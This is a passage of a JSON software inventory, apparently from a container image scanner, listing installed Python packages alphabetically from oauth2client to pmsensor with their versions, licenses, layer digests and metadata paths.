"4096aa63ce07eb43" }, "Version": "4.1.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/oauth2client-4.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "oauthlib", "Identifier": { "PURL": "pkg:pypi/oauthlib@3.3.1", "UID": "fc04b11c9fd7f03f" }, "Version": "3.3.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/oauthlib-3.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "objgraph", "Identifier": { "PURL": "pkg:pypi/objgraph@3.5.0", "UID": "3ee093987d3f08ae" }, "Version": "3.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/objgraph-3.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "odp-amsterdam", "Identifier": { "PURL": "pkg:pypi/odp-amsterdam@6.1.2", "UID": "faec4dae9f1a4429" }, "Version": "6.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/odp_amsterdam-6.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "oemthermostat", "Identifier": { "PURL": "pkg:pypi/oemthermostat@1.1.1", "UID": "262c3b57655f9744" }, "Version": "1.1.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/oemthermostat-1.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ohme", "Identifier": { "PURL": "pkg:pypi/ohme@1.9.1", "UID": "c01ada7b04ce35e5" }, "Version": "1.9.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ohme-1.9.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ollama", "Identifier": { "PURL": "pkg:pypi/ollama@0.6.2", "UID": "3c07c3d67aa694c8" }, "Version": "0.6.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ollama-0.6.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "omnilogic", "Identifier": { "PURL": "pkg:pypi/omnilogic@0.4.9", "UID": "e39ad3e5d774449e" }, "Version": "0.4.9", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/omnilogic-0.4.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ondilo", "Identifier": { "PURL": "pkg:pypi/ondilo@0.5.0", "UID": "260627fe4a89d2fc" }, "Version": "0.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ondilo-0.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "onedrive-personal-sdk", "Identifier": { "PURL": "pkg:pypi/onedrive-personal-sdk@0.1.7", "UID": "e1bc457578d02b0d" }, "Version": "0.1.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/onedrive_personal_sdk-0.1.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "onvif-parsers", "Identifier": { "PURL": "pkg:pypi/onvif-parsers@2.3.0", "UID": "78632b09bebd4202" }, "Version": "2.3.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/onvif_parsers-2.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "onvif-zeep-async", "Identifier": { "PURL": "pkg:pypi/onvif-zeep-async@4.2.1", "UID": "1b914b7d0090eaf9" }, "Version": "4.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/onvif_zeep_async-4.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "open-garage", "Identifier": { "PURL": "pkg:pypi/open-garage@0.2.0", "UID": "e2696b9af00506e1" }, "Version": "0.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/open_garage-0.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "open-meteo", "Identifier": { "PURL": "pkg:pypi/open-meteo@0.3.2", "UID": "51028903501774c7" }, "Version": "0.3.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/open_meteo-0.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "openai", "Identifier": { "PURL": "pkg:pypi/openai@2.21.0", "UID": "905d5a3ab875114e" }, "Version": "2.21.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/openai-2.21.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "openerz-api", "Identifier": { "PURL": "pkg:pypi/openerz-api@0.3.0", "UID": "1898d46263571cee" }, "Version": "0.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/openerz_api-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "openhomedevice", "Identifier": { "PURL": "pkg:pypi/openhomedevice@2.2", "UID": "6df823d9ba9c7a50" }, "Version": "2.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/openhomedevice-2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "openrgb-python", "Identifier": { "PURL": "pkg:pypi/openrgb-python@0.3.6", "UID": "b21500907adebe5b" }, "Version": "0.3.6", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/openrgb_python-0.3.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "opensensemap-api", "Identifier": { "PURL": "pkg:pypi/opensensemap-api@0.4.1", "UID": "177cda63b081b5de" }, "Version": "0.4.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/opensensemap_api-0.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "opentelemetry-api", "Identifier": { "PURL": "pkg:pypi/opentelemetry-api@1.43.0", "UID": "40c8ae26bc96860a" }, "Version": "1.43.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/opentelemetry_api-1.43.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "opentelemetry-sdk", "Identifier": { "PURL": "pkg:pypi/opentelemetry-sdk@1.43.0", "UID": "2068fea360e39697" }, "Version": "1.43.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/opentelemetry_sdk-1.43.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "opentelemetry-semantic-conventions", "Identifier": { "PURL": "pkg:pypi/opentelemetry-semantic-conventions@0.64b0", "UID": "ed4cc79b871dd1ed" }, "Version": "0.64b0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/opentelemetry_semantic_conventions-0.64b0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "openwebifpy", "Identifier": { "PURL": "pkg:pypi/openwebifpy@4.3.1", "UID": "c8658e47bd5b6411" }, "Version": "4.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/openwebifpy-4.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "openwrt-luci-rpc", "Identifier": { "PURL": "pkg:pypi/openwrt-luci-rpc@1.1.17", "UID": "3a5732cafe717708" }, "Version": "1.1.17", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/openwrt_luci_rpc-1.1.17.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "openwrt-ubus-rpc", "Identifier": { "PURL": "pkg:pypi/openwrt-ubus-rpc@0.0.3", "UID": "b28642e7b97c2cdb" }, "Version": "0.0.3", "Licenses": [ "GPL-2.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/openwrt_ubus_rpc-0.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "opower", "Identifier": { "PURL": "pkg:pypi/opower@0.18.6", "UID": "d277a48e64c1dd4b" }, "Version": "0.18.6", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/opower-0.18.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "opuslib-next", "Identifier": { "PURL": "pkg:pypi/opuslib-next@1.1.6", "UID": "47d0369e1df010b1" }, "Version": "1.1.6", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/opuslib_next-1.1.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "oralb-ble", "Identifier": { "PURL": "pkg:pypi/oralb-ble@1.1.0", "UID": "1665180798892364" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/oralb_ble-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "orderedmultidict", "Identifier": { "PURL": "pkg:pypi/orderedmultidict@1.0.2", "UID": "cafede723d0787c4" }, "Version": "1.0.2", "Licenses": [ "Freely Distributable" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/orderedmultidict-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "orderly-set", "Identifier": { "PURL": "pkg:pypi/orderly-set@5.5.0", "UID": "63f58efe7a26a651" }, "Version": "5.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/orderly_set-5.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "orjson", "Identifier": { "PURL": "pkg:pypi/orjson@3.11.9", "UID": "cb69722afc463371" }, "Version": "3.11.9", "Licenses": [ "MPL-2.0 AND (Apache-2.0 OR MIT)" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/orjson-3.11.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ormsgpack", "Identifier": { "PURL": "pkg:pypi/ormsgpack@1.12.2", "UID": "60e3c5d631a614b3" }, "Version": "1.12.2", "Licenses": [ "Apache-2.0 OR MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ormsgpack-1.12.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "oru", "Identifier": { "PURL": "pkg:pypi/oru@0.1.11", "UID": "533a3eec6f4986c3" }, "Version": "0.1.11", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/oru-0.1.11.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "orvibo", "Identifier": { "PURL": "pkg:pypi/orvibo@1.1.2", "UID": "ee13ccb349972355" }, "Version": "1.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/orvibo-1.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ouman-eh-800-api", "Identifier": { "PURL": "pkg:pypi/ouman-eh-800-api@1.0.0", "UID": "6b8032c0dbe9ea61" }, "Version": "1.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ouman_eh_800_api-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ourgroceries", "Identifier": { "PURL": "pkg:pypi/ourgroceries@1.5.4", "UID": "8228901e25c150c6" }, "Version": "1.5.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ourgroceries-1.5.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "outcome", "Identifier": { "PURL": "pkg:pypi/outcome@1.3.0.post0", "UID": "c704a88ab42fbed2" }, "Version": "1.3.0.post0", "Licenses": [ "MIT", "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/outcome-1.3.0.post0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ovoenergy", "Identifier": { "PURL": "pkg:pypi/ovoenergy@3.0.2", "UID": "27b92b0b065c986e" }, "Version": "3.0.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ovoenergy-3.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "oyaml", "Identifier": { "PURL": "pkg:pypi/oyaml@1.0", "UID": "debc8873047e2ad" }, "Version": "1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/oyaml-1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "p1monitor", "Identifier": { "PURL": "pkg:pypi/p1monitor@3.2.0", "UID": "4cce4ed0d4e949be" }, "Version": "3.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/p1monitor-3.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "packaging", "Identifier": { "PURL": "pkg:pypi/packaging@26.0", "UID": "eda36e44264cf361" }, "Version": "26.0", "Licenses": [ "Apache-2.0 OR BSD-2-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/setuptools/_vendor/packaging-26.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "packaging", "Identifier": { "PURL": "pkg:pypi/packaging@26.2", "UID": "435677be8a4c37bf" }, "Version": "26.2", "Licenses": [ "Apache-2.0 OR BSD-2-Clause" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/packaging-26.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "paho-mqtt", "Identifier": { "PURL": "pkg:pypi/paho-mqtt@2.1.0", "UID": "3e43d61698689f33" }, "Version": "2.1.0", "Licenses": [ "EPL-2.0 OR BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/paho_mqtt-2.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pajgps-api", "Identifier": { "PURL": "pkg:pypi/pajgps-api@0.4.0", "UID": "1a0ccff486487d9e" }, "Version": "0.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pajgps_api-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "panacotta", "Identifier": { "PURL": "pkg:pypi/panacotta@0.2", "UID": "3ad483d4724d1489" }, "Version": "0.2", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/panacotta-0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "panasonic-viera", "Identifier": { "PURL": "pkg:pypi/panasonic-viera@0.4.4", "UID": "22060caffff8c13f" }, "Version": "0.4.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/panasonic_viera-0.4.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pandas", "Identifier": { "PURL": "pkg:pypi/pandas@2.3.3", "UID": "5e6f30c341c5774b" }, "Version": "2.3.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pandas-2.3.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "paramiko", "Identifier": { "PURL": "pkg:pypi/paramiko@3.5.0", "UID": "3e49aeee74938b08" }, "Version": "3.5.0", "Licenses": [ "LGPL-2.1-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/paramiko-3.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "path", "Identifier": { "PURL": "pkg:pypi/path@17.1.1", "UID": "f01dd8af6d6543f9" }, "Version": "17.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/path-17.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pathvalidate", "Identifier": { "PURL": "pkg:pypi/pathvalidate@3.3.1", "UID": "78ef6ce3f09a0da9" }, "Version": "3.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pathvalidate-3.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pbr", "Identifier": { "PURL": "pkg:pypi/pbr@7.0.3", "UID": "5118de24f69c34db" }, "Version": "7.0.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pbr-7.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pdunehd", "Identifier": { "PURL": "pkg:pypi/pdunehd@1.3.3", "UID": "288d1ef4c756b2e4" }, "Version": "1.3.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pdunehd-1.3.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "peblar", "Identifier": { "PURL": "pkg:pypi/peblar@0.5.1", "UID": "e40d76f7c68b2f55" }, "Version": "0.5.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/peblar-0.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "peco", "Identifier": { "PURL": "pkg:pypi/peco@0.1.2", "UID": "3ad465b1c557a921" }, "Version": "0.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/peco-0.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pencompy", "Identifier": { "PURL": "pkg:pypi/pencompy@0.0.4", "UID": "3f3d222b1e36ddac" }, "Version": "0.0.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pencompy-0.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pescea", "Identifier": { "PURL": "pkg:pypi/pescea@1.0.12", "UID": "df71e2e9b4f41498" }, "Version": "1.0.12", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pescea-1.0.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pexpect", "Identifier": { "PURL": "pkg:pypi/pexpect@4.9.0", "UID": "86114bce0b395fed" }, "Version": "4.9.0", "Licenses": [ "ISC" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pexpect-4.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pfzy", "Identifier": { "PURL": "pkg:pypi/pfzy@0.3.4", "UID": "6e2c95eb3e05eb11" }, "Version": "0.3.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pfzy-0.3.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "phone-modem", "Identifier": { "PURL": "pkg:pypi/phone-modem@0.1.1", "UID": "9a8962ceca5279ed" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/phone_modem-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pigpio", "Identifier": { "PURL": "pkg:pypi/pigpio@1.78", "UID": "42aafc616cae8a46" }, "Version": "1.78", "Licenses": [ "unlicense.org" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pigpio-1.78.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pillow", "Identifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "Version": "12.2.0", "Licenses": [ "MIT-CMU" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pip", "Identifier": { "PURL": "pkg:pypi/pip@26.0.1", "UID": "2afecd062080d32b" }, "Version": "26.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "FilePath": "usr/local/lib/python3.14/site-packages/pip-26.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pkce", "Identifier": { "PURL": "pkg:pypi/pkce@1.0.3", "UID": "2729684b4ae75316" }, "Version": "1.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pkce-1.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "platformdirs", "Identifier": { "PURL": "pkg:pypi/platformdirs@4.10.0", "UID": "130830dfc8a64c4d" }, "Version": "4.10.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/platformdirs-4.10.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "platformdirs", "Identifier": { "PURL": "pkg:pypi/platformdirs@4.4.0", "UID": "b0dbe88c55368ae0" }, "Version": "4.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/setuptools/_vendor/platformdirs-4.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "plexauth", "Identifier": { "PURL": "pkg:pypi/plexauth@0.0.6", "UID": "896d6bd0eb707da2" }, "Version": "0.0.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/plexauth-0.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "plexwebsocket", "Identifier": { "PURL": "pkg:pypi/plexwebsocket@0.0.14", "UID": "105e6c20f363ea11" }, "Version": "0.0.14", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/plexwebsocket-0.0.14.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pluggy", "Identifier": { "PURL": "pkg:pypi/pluggy@1.6.0", "UID": "ccdaffac435d76e" }, "Version": "1.6.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pluggy-1.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "plugwise", "Identifier": { "PURL": "pkg:pypi/plugwise@1.11.4", "UID": "5dd93967a5949741" }, "Version": "1.11.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/plugwise-1.11.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pmsensor", "Identifier": { "PURL": "pkg:pypi/pmsensor@0.4", "UID": 